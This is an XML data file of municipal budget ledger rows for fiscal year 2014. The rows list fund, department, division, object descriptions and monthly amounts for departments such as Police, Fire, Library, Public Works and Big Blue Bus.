<row _id="5514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43979.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43979.0</total></row>
<row _id="5515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-21612.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21612.0</total></row>
<row _id="5516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14400.0</total></row>
<row _id="5518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-444338.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-444338.0</total></row>
<row _id="5519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="5520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7396849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7396849.0</total></row>
<row _id="5521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4809.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4809.0</total></row>
<row _id="5522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="5523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544115.0</object><object_description>FARE MEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="5524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404210.0</object><object_description>OTHER OPER REV-ADVERTISING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1413000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1413000.0</total></row>
<row _id="5525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407340.0</object><object_description>US TREASURY REIMBURSEMENTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-52275.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-52275.0</total></row>
<row _id="5526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407390.0</object><object_description>GYM RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-45990.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45990.0</total></row>
<row _id="5527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="5528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511012.0</object><object_description>EST PAY RAISE-GEN GOV</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1779569.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1779569.0</total></row>
<row _id="5529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10428.0</total></row>
<row _id="5530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115847.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115847.0</total></row>
<row _id="5531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>194808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>194808.0</total></row>
<row _id="5532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
<row _id="5533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>720168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>720168.0</total></row>
<row _id="5534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15318.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15318.0</total></row>
<row _id="5535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23949.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23949.0</total></row>
<row _id="5536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1112.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1112.0</total></row>
<row _id="5537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2882.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2882.0</total></row>
<row _id="5538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>35048.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35048.0</total></row>
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<row _id="5540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7539.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7539.0</total></row>
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<row _id="5564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>352245.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>352245.0</total></row>
<row _id="5565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>294269.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>294269.0</total></row>
<row _id="5566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7819.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7819.0</total></row>
<row _id="5567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22248.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22248.0</total></row>
<row _id="5568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85319.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85319.0</total></row>
<row _id="5570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1233.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1233.0</total></row>
<row _id="5571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>383.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>383.0</total></row>
<row _id="5572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5819.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5819.0</total></row>
<row _id="5573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>816.0</total></row>
<row _id="5574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>569230.0</object><object_description>INTEREST ON SMURRF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>62750.0</total></row>
<row _id="5575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT-WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-614000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-614000.0</total></row>
<row _id="5576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="5577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25398.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25398.0</total></row>
<row _id="5578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="5579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533640.0</object><object_description>CONF / MTGS / TRAVEL-TW</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7140.0</total></row>
<row _id="5580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401020.0</object><object_description>ELECTION-SMUSD/SMCCD/RC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="5581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28845.0</total></row>
<row _id="5582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-235263.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-235263.0</total></row>
<row _id="5583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401260.0</object><object_description>BEACH PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-9653422.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9653422.0</total></row>
<row _id="5584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566631.0</object><object_description>SMURRF PLANT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>425000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>425000.0</total></row>
